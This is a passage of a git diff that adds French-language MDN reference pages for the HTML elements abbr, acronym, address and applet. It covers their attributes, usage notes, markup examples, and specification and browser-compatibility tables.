+<p>L'élément <code><strong>&lt;abbr&gt;</strong></code> représente une abréviation ou un acronyme et permet, de façon optionnelle, d'en fournir une description complète. S'il est présent, l'attribut {{htmlattrxref("title")}} doit contenir cette même description complète et rien d'autre.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/abbr.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note :</strong> Voir <a href="/fr/Apprendre/HTML/Introduction_à_HTML/formatage-avance-texte#Abbreviations">cet article introductif</a> pour la mise en forme du texte en général.</p>
+</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément n'a pas d'autres attributs que les <a href="/fr/docs/Web/HTML/Attributs_universels" rel="internal">attributs universels</a>.</p>
+
+<p>On notera que l'attribut {{htmlattrdef("title")}} possède ici une sémantique spécifique et il représente la description complète de l'abréviation. Souvent, mais pas nécessairement, il s'affiche comme une info-bulle au survol de la souris.</p>
+
+<p>Chaque élément <code>&lt;abbr&gt;</code> est indépendant, rattacher un titre à l'un ne l'associe pas aux abrévations identiques qui suivent.</p>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<h3 id="Cas_d'usage_généraux">Cas d'usage généraux</h3>
+
+<p>Il n'est pas obligatoire d'utiliser <code>&lt;abbr&gt;</code> pour toutes les abrévations d'un document mais voici quelques cas où cet élément s'avère pertinent :</p>
+
+<ul>
+ <li>Lorsqu'une abrévation est utilisée et qu'on souhaite fournir une définition ou une explication en dehors du contenu du document, on utilisera <code>&lt;abbr&gt;</code> avec un attribut {{htmlattrxref("title")}} adéquat.</li>
+ <li>Lorsqu'une abrévation fait partie d'un jargon ou d'un vocabulaire qui risque d'être inconnu du lecteur, un élément <code>&lt;abbr&gt;</code> avec un attribut <code>title</code> explicatif pourra être utilisé.</li>
+ <li>Lorsqu'on souhaite bénéficier de la sémantique liée à l'abrévation (par exemple pour les manipuler en script ou les mettre en forme avec des feuilles de style), on pourra utiliser <code>&lt;abbr&gt;</code> pour identifier ces contenus.</li>
+ <li>Lorsqu'on souhaite définir des termes qui sont des abrévations, on pourra utiliser une combinaison de <code>&lt;abbr&gt;</code> et de {{HTMLElement("dfn")}}. Voir ci-après pour un exemple.</li>
+</ul>
+
+<h3 id="Grammaire">Grammaire</h3>
+
+<p>Lorsqu'il est présent, le nombre (grammatical) du texte de l'attribut <code><strong>title</strong></code> devrait correspondre à celui du contenu de l'élément <code>abbr</code>. C'est également le cas dans les langues avec plus de deux genres grammaticaux (par exemple, l'Arabe, en plus des catégories pour le singulier et le pluriel, possède également une catégorie double).</p>
+
+<h2 id="Mise_en_forme_par_défaut">Mise en forme par défaut</h2>
+
+<p>Le but de cet élément est purement explicatif. Tous les navigateurs l'affichent en ligne ({{cssxref('display')}}<code>: inline</code>) par défaut mais le reste de la mise en forme par défaut peut varier d'un navigateur à l'autre :</p>
+
+<ul>
+ <li>Certains navigateurs tels qu'Internet Explore lui appliquent la même mise en forme qu'à un élément {{HTMLElement("span")}}.</li>
+ <li>Opera, Firefox et d'autres navigateurs souligne l'abréviation avec une ligne de points.</li>
+ <li>D'autres navigateurs ne soulignent pas le texte mais l'écrivent en petites majuscules. Pour éviter ce comportement, on pourra utiliser la règle CSS {{cssxref("font-variant")}}<code>: none</code>.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Baliser_une_abrévation_pour_marquer_la_sémantique">Baliser une abrévation pour marquer la sémantique</h3>
+
+<p>On peut baliser une abrévation sans fournir de description ou de définition, il suffit d'utiliser <code>&lt;abbr&gt;</code> sans attribut.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Nous allons voir le &lt;abbr&gt;HTML&lt;/abbr&gt; qui sert à construire des pages web.&lt;/p&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Baliser_une_abréviation_pour_marquer_la_sémantique")}}</p>
+
+<h3 id="Mettre_en_forme_des_abréviations">Mettre en forme des abréviations</h3>
+
+<p>CSS peut être utilisé pour appliquer une mise en forme particulière sur les abréviations.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Avec &lt;abbr&gt;CSS&lt;/abbr&gt;, on peut mettre en forme les éléments.&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">abbr {
+  font-variant: all-small-caps;
+}</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Mettre_en_forme_des_abréviations")}}</p>
+
+<h3 id="Fournir_une_description">Fournir une description</h3>
+
+<p>On peut ajouter un attribut {{htmlattrxref("title")}} afin de fournir une description de l'abréviation ou de l'acronyme.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Et là je lui ai répondu &lt;abbr title="Laugh Out Loud"&gt;LOL&lt;/abbr&gt;.&lt;/p&gt;</pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample("Fournir_une_description")}}</p>
+
+<h3 id="Définir_une_abréviation">Définir une abréviation</h3>
+
+<p>Il est possible d'utiliser l'élément <code>&lt;abbr&gt;</code> avec {{HTMLElement("dfn")}} afin de formellement définir une abréviation.</p>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;&lt;dfn id="html"&gt;&lt;abbr title="HyperText Markup Language"&gt;HTML&lt;/abbr&gt;
+&lt;/dfn&gt; est un langage de balise qui permet de créer la structure et d'organiser
+la sémantique d'une page web.&lt;/p&gt;
+
+&lt;p&gt;Une &lt;dfn id="spec"&gt;Spécification&lt;/dfn&gt;
+(&lt;abbr title="Specification"&gt;spec&lt;/abbr&gt;) est un document qui décrit, de façon
+détaillée comme une technologie ou une API fonctionne et comment l'utiliser.&lt;/p&gt;</pre>
+
+<h4 id="Résultat_4">Résultat</h4>
+
+<p>{{EmbedLiveSample("Définir_une_abréviation", 600, 120)}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>C'est une bonne pratique que d'épeler l'acronyme ou l'abréviation lorsqu'elle est utilisée pour la première fois. Cela permet au lecteur de mieux comprendre le terme, notamment si celui-ci est technique ou appartient à un jargon spécifique.</p>
+
+<h4 id="Exemple">Exemple</h4>
+
+<pre class="brush: html">&lt;p&gt;JavaScript Object Notation (&lt;abbr&gt;JSON&lt;/abbr&gt;) est un format léger d'échange de données.&lt;/p&gt;
+</pre>
+
+<p>Cela peut servir aux personnes qui découvrent ces concepts pour la première fois ou pour les personnes souffrant de troubles cognitifs.</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Contenu autorisé</dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">Contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Omission de balises</dfn></th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Parents autorisés</dfn></th>
+   <td>Tout élément acceptant du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-abbr-element', '&lt;abbr&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-abbr-element', '&lt;abbr&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#edef-ABBR', '&lt;abbr&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.abbr")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/Learn/HTML/Element/abbr">Utiliser l'élément <code>&lt;abbr&gt;</code></a></li>
+ <li>Les autres éléments ayant une sémantique textuelle : {{HTMLElement("a")}}, {{HTMLElement("em")}}, {{HTMLElement("strong")}}, {{HTMLElement("small")}}, {{HTMLElement("cite")}}, {{HTMLElement("q")}}, {{HTMLElement("dfn")}}, {{HTMLElement("time")}}, {{HTMLElement("code")}}, {{HTMLElement("var")}}, {{HTMLElement("samp")}}, {{HTMLElement("kbd")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{HTMLElement("b")}}, {{HTMLElement("i")}}, {{HTMLElement("mark")}}, {{HTMLElement("ruby")}}, {{HTMLElement("rp")}}, {{HTMLElement("rt")}}, {{HTMLElement("bdo")}}, {{HTMLElement("span")}}, {{HTMLElement("br")}}, {{HTMLElement("wbr")}}.</li>
+ <li>L'élément obsolète {{HTMLElement("acronym")}} dont la sémantique a été « fusionnée » dans <code>&lt;abbr&gt;</code></li>
+</ul>
diff --git a/files/fr/web/html/element/acronym/index.html b/files/fr/web/html/element/acronym/index.html
new file mode 100644
index 0000000000..cd1d71fa0a
--- /dev/null
+++ b/files/fr/web/html/element/acronym/index.html
@@ -0,0 +1,77 @@
+---
+title: <acronym>
+slug: Web/HTML/Element/acronym
+tags:
+  - Element
+  - HTML
+  - Obsolete
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/acronym
+---
+<div>{{obsolete_header}}{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;acronym&gt;</code></strong>, pour les acronymes, permet aux auteurs de pages d'indiquer une suite de caractères composant un acronyme ou l'abréviation d'un mot.</p>
+
+<div class="note"><strong>Note d'utilisation : </strong>Cet élément n'existe plus en HTML5 et ne devrait plus être utilisé. <strong>Les développeurs web devraient utiliser l'élément {{HTMLElement("abbr")}} à la place.</strong></div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément n'a pas d'autres attributs que les <a href="/fr/docs/Web/HTML/Attributs_universels">attributs universels</a>, communs à tous les éléments.</p>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref('HTMLElement')}}.</p>
+
+<div class="note"><strong>Note d'implémentation : </strong>Jusqu'à Gecko 1.9.2 (inclus), Firefox implémente l'interface {{domxref('HTMLSpanElement')}} pour cet élément.</div>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush:html">&lt;p&gt;
+   Le &lt;acronym title="World Wide Web" lang="en"&gt;WWW&lt;/acronym&gt;
+   n'est qu'une facette d'Internet.
+&lt;/p&gt;
+</pre>
+
+<h2 id="Style_par_défaut">Style par défaut</h2>
+
+<p>Bien que le but de cette balise ne soit simplement qu'un avantage pratique pour l'auteur, son style par défaut varie selon les navigateurs :</p>
+
+<ul>
+ <li>Certains navigateurs comme Internet Explorer lui attribuent le même style qu'un élément {{HTMLElement("span")}}.</li>
+ <li>Opera, Firefox, et quelques autres ajoutent une ligne pointillée sous le contenu de l'élément.</li>
+ <li>Quelques navigateurs ajoutent une ligne pointillée en dessous et mettent le contenu en petites majuscules. Pour éviter ce comportement, il est possible d'ajouter {{cssxref('font-variant')}}<code>: none</code> à la feuille de style CSS.</li>
+</ul>
+
+<p>Il est donc fortement recommandé que les développeurs web ne s'attendent pas à un comportement uniforme concernant ce style par défaut.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#edef-ACRONYM', '&lt;acronym&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.acronym")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément HTML {{HTMLElement("abbr")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/address/index.html b/files/fr/web/html/element/address/index.html
new file mode 100644
index 0000000000..2ac2eaa488
--- /dev/null
+++ b/files/fr/web/html/element/address/index.html
@@ -0,0 +1,127 @@
+---
+title: '<address> : l''élément d''adresse de contact'
+slug: Web/HTML/Element/address
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/address
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;address&gt;</code></strong> indique des informations de contact pour une personne, un groupe de personnes ou une organisation.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/address.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>L'information de contact fournie via cet élément peut prendre n'importe quelle forme pertinente : ce peut être une adresse physique, une URL, une adresse électronique, un numéro de téléphone, des coordonnées géographiques, etc. Ces informations devraient contenir le nom de la personne, du groupe de personne ou de l'organisation à laquelle le contact fait référence.</p>
+
+<p>Cet élément peut être employé dans un élément {{HTMLElement("article")}} ou faire référence à l'ancêtre {{HTMLElement("body")}} ; dans ce dernier cas, cela s'applique au document entier.</p>
+
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément n'a pas d'autres attributs que les <a href="/fr/docs/Web/HTML/Attributs_universels">attributs universels</a>, communs à tous les éléments.</p>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<ul>
+ <li>Pour représenter une adresse arbitraire, qui n'est pas relative à l'information de contact, on utilisera l'élément {{HTMLElement("p")}} plutôt que l'élément <code>&lt;address&gt;</code>.</li>
+ <li>Cet élément ne doit pas contenir plus d'informations que l'information de contact, par exemple une date de publication (qui appartiendrait à l'élément {{HTMLElement("time")}}).</li>
+ <li>Typiquement un élément <code>&lt;address&gt;</code> peut être placé dans l'élément  {{HTMLElement("footer")}} de la section courante, s'il y en a une.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;address&gt;
+  Vous pouvez contacter l'auteur à l'adresse &lt;a href="http://www.undomaine.com/contact"&gt;www.undomaine.com&lt;/a&gt;.&lt;br&gt;
+  Si vous relevez quelques bogues que ce soient, merci de contacter &lt;a href="mailto:webmaster@somedomain.com"&gt;le webmaster&lt;/a&gt;.&lt;br&gt;
+  Vous pouvez aussi venir nous voir :&lt;br&gt;
+  Mozilla Foundation&lt;br&gt;
+  1981 Landings Drive&lt;br&gt;
+  Building K&lt;br&gt;
+  Mountain View, CA 94043-0801&lt;br&gt;
+  USA
+&lt;/address&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple")}}</p>
+
+<p>Bien que le rendu par défaut du texte de l'élément <code>&lt;address&gt;</code> utilise le même style par défaut que les éléments {{HTMLElement("i")}} ou {{HTMLElement("em")}}, il est plus approprié d'utiliser cet élément lorsque l'on traite d'informations de contact, étant donné qu'il apporte des informations sémantiques supplémentaires.</p>
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, mais sans élément <code>&lt;address&gt;</code> inclus, sans contenu de titre  ({{HTMLElement("hgroup")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}), sans contenu de section ({{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}}), et sans {{HTMLElement("header")}} ou élément {{HTMLElement("footer")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte un <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a> mais pas d'éléments <code>&lt;address&gt;</code>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}. Avant Gecko 2.0 (Firefox 4), Gecko implémentait cet élément en utilisant l'interface {{domxref("HTMLSpanElement")}}.</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-address-element', '&lt;address&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-address-element', '&lt;address&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.6', '&lt;address&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.address")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments liés aux sections d'un document : {{HTMLElement("body")}}, {{HTMLElement("nav")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("footer")}}, {{HTMLElement("section")}}, {{HTMLElement("header")}} ;</li>
+ <li class="last"><a href="/fr/docs/Web/HTML/Sections_and_Outlines_of_an_HTML5_document">Sections et titres d'un document HTML5</a></li>
+</ul>
diff --git a/files/fr/web/html/element/applet/index.html b/files/fr/web/html/element/applet/index.html
new file mode 100644
index 0000000000..2515ada501
--- /dev/null
+++ b/files/fr/web/html/element/applet/index.html
@@ -0,0 +1,147 @@
+---
+title: '<applet> : l''élément d''applet Java embarqué'
+slug: Web/HTML/Element/applet
+tags:
+  - Element
+  - HTML
+  - Obsolete
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/applet
+---
+<div>{{HTMLRef}}{{obsolete_header}}</div>
+
+<div class="blockIndicator warning">
+<p><strong>Attention ! </strong>Cet élément a été retiré à partir de <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1279218">Gecko 56</a>, de <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=470301">Chrome 47</a> et le retrait est à l'étude pour <a href="https://bugs.webkit.org/show_bug.cgi?id=157926">WebKit</a> et <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/11946645/">Edge</a>.</p>
+</div>
+
+<p>L'élément HTML <strong><code>&lt;applet&gt;</code></strong>, pour les applets, définit l'intégration d'une applet Java. Cet élément est désormais déprécié en faveur de {{HTMLElement("object")}}.</p>
+
+<p>L'utilisation d'applets Java sur le Web est dépréciée, la plupart des navigateurs ne prennent plus en charge les plugins Java.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément peut utiliser <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("align")}}</dt>
+ <dd>Cet attribut est utilisé pour positionner l'applet sur la page en fonction du contenu qui l'entoure. La spécification HTML 4.01 définit l'utilisation des valeurs <code>bottom</code> (en bas),  <code>left</code> (à gauche), <code>middle</code> (au milieu), <code>right</code> (à droite), et <code>top</code> (en haut), tandis que Microsoft et Netscape supporteraient également les valeurs <strong>absbottom</strong>, <strong>absmiddle</strong>, <strong>baseline</strong>, <strong>center</strong>, et <strong>texttop</strong>.</dd>
+ <dt>{{htmlattrdef("alt")}}</dt>
+ <dd>Cet attribut génère un texte alternatif à afficher pour les navigateurs ne supportant pas Java. Il est à noter que le contenu de l'élément <code>&lt;applet&gt;</code> peut être également restitué comme du texte alternatif dans certains cas.</dd>
+ <dt>{{htmlattrdef("archive")}}</dt>
+ <dd>Cet attribut fait référence à une version archivée ou compressée de l'applet et des fichiers classes associés, ce qui peut aider à réduire le temps de téléchargement.</dd>
+ <dt>{{htmlattrdef("code")}}</dt>
+ <dd>Cet attribut définit l'URL du fichier classe de l'applet qui doit être chargé et exécuté. Les noms de fichiers pour les applets sont définis avec une extension en .class. L'URL définie par cet attribut peut être relative par rapport à l'attribut <code>codebase</code>.</dd>
+ <dt>{{htmlattrdef("codebase")}}</dt>
+ <dd>Cet attribut donne une URL absolue ou relative du répertoire où les fichiers classes de l'applet (déclarés dans l'attribut <code>code</code>) doivent être placés.</dd>
+ <dt>{{htmlattrdef("datafld")}}</dt>
+ <dd>Cet attribut, supporté par Internet Explorer à partir de sa version 4, définit le nom de colonne attribué aux objets de données fournis par les données attachées. Cet attribut peut être utilisé pour définir les différents éléments {{HTMLElement("param")}} envoyés à l'applet Java.</dd>
+ <dt>{{htmlattrdef("datasrc")}}</dt>
+ <dd>Comme l'attribut <code>datafld</code>, cet attribut est utilisé pour les données attachées sous Internet Explorer 4. Il indique un identifiant pour l'objet définissant la source des données qui seront attachées aux élément {{HTMLElement("param")}} associés à l'applet.</dd>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>Cet attribut définit la hauteur dont l'applet à besoin, en pixels.</dd>
+ <dt>{{htmlattrdef("hspace")}}</dt>
+ <dd>Cet attribut définit l'espace horizontal supplémentaire qui doit être réservé à côté de l'applet, en pixels.</dd>
+ <dt>{{htmlattrdef("mayscript")}}</dt>
+ <dd>Cet attribut, concerné par l'implémentation effectuée dans Netscape, permet l'accès à l'applet par les scripts contenus dans le document.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>Cet attribut donne un nom à l'applet afin qu'elle soit possiblement identifiée par d'autres ressources, notamment les scripts.</dd>
+ <dt>{{htmlattrdef("object")}}</dt>
+ <dd>Cet attribut définit l'URL d'une représentation de l'applet.</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>Dans Internet Explorer 4 et ses versions ultérieures, cet attribut définit une URL pour le fichier associé à l'applet. La signification de cet attribut n'est pas claire et ne fait pas partie du standard HTML.</dd>
+ <dt>{{htmlattrdef("vspace")}}</dt>
+ <dd>Cet attribut définit l'espace supplémentaire qui doit être réservé en haut et en bas de l'applet, en pixels.</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>Cet attribut définit la largeur, en pixels, dont l'applet a besoin</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;applet code="game.class" align="left" archive="game.zip" height="250" width="350"&gt;
+  &lt;param name="difficulte" value="facile"&gt;
+  &lt;b&gt;Vous avez besoin de Java pour activer cela.&lt;/b&gt;
+&lt;/applet&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%", 300)}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Catégories de contenu</th>
+   <td><a href="/fr/docs/Web/Guide/HTML/Catégories_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/Guide/HTML/Catégories_de_contenu#Contenu_phrasé">contenu phrasé</a>, <a href="/fr/docs/Web/Guide/HTML/Catégories_de_contenu#Contenu_intégré">contenu intégré</a>, <a href="/fr/docs/Web/Guide/HTML/Catégories_de_contenu#Contenu_interactif">contenu interactif</a>, <a href="/fr/docs/Web/Guide/HTML/Catégories_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Zéro ou plusieurs {{HTMLElement("param")}} suivi d'un contenu <a href="/fr/docs/Web/Guide/HTML/Catégories_de_contenu#Modèle_de_contenu_transparent">transparent</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balise</th>
+   <td>Aucune. La balise de début et la balise de fin sont obligatoires.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/Guide/HTML/Catégories_de_contenu#Contenu_intégré">contenu intégré</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{DOMxRef("HTMLAppletElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "obsolete.html#applet", "&lt;applet&gt;")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Retrait de l'élément, seule une note rappelle qu'il a existé.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.2", "obsolete.html#the-applet-element", "&lt;applet&gt;")}}</td>
+   <td>{{Spec2("HTML5.2")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "obsolete.html#the-applet-element", "&lt;applet&gt;")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "obsolete.html#the-applet-element", "&lt;applet&gt;")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>L'élément est rendu obsolète.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML4.01", "struct/objects.html#h-13.4", "&lt;applet&gt;")}}</td>
+   <td>{{Spec2("HTML4.01")}}</td>
+   <td>Élément déprécié et remplacé par {{HTMLElement("object")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.applet")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
